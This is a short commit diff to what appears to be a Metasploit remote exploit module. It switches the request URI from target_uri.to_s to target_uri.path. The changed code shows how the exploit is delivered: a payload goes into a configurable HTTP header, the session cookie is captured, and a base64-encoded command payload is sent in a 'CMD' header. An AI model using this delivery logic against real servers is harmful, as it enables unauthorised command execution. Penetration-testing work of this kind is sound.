use target_uri.path
parent
2e54cd2ca7
commit
c2795d58cb
|
@ -120,13 +120,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Sending payload ...")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => target_uri.to_s,
|
||||
'uri' => target_uri.path,
|
||||
'headers' => { datastore['HEADER'] => get_payload }
|
||||
})
|
||||
session_cookie = res.get_cookies
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => target_uri.to_s,
|
||||
'uri' => target_uri.path,
|
||||
'cookie' => session_cookie,
|
||||
'headers' => {
|
||||
'CMD' => Rex::Text.encode_base64(payload.encoded)
|
||||
|
|
Loading…
Reference in New Issue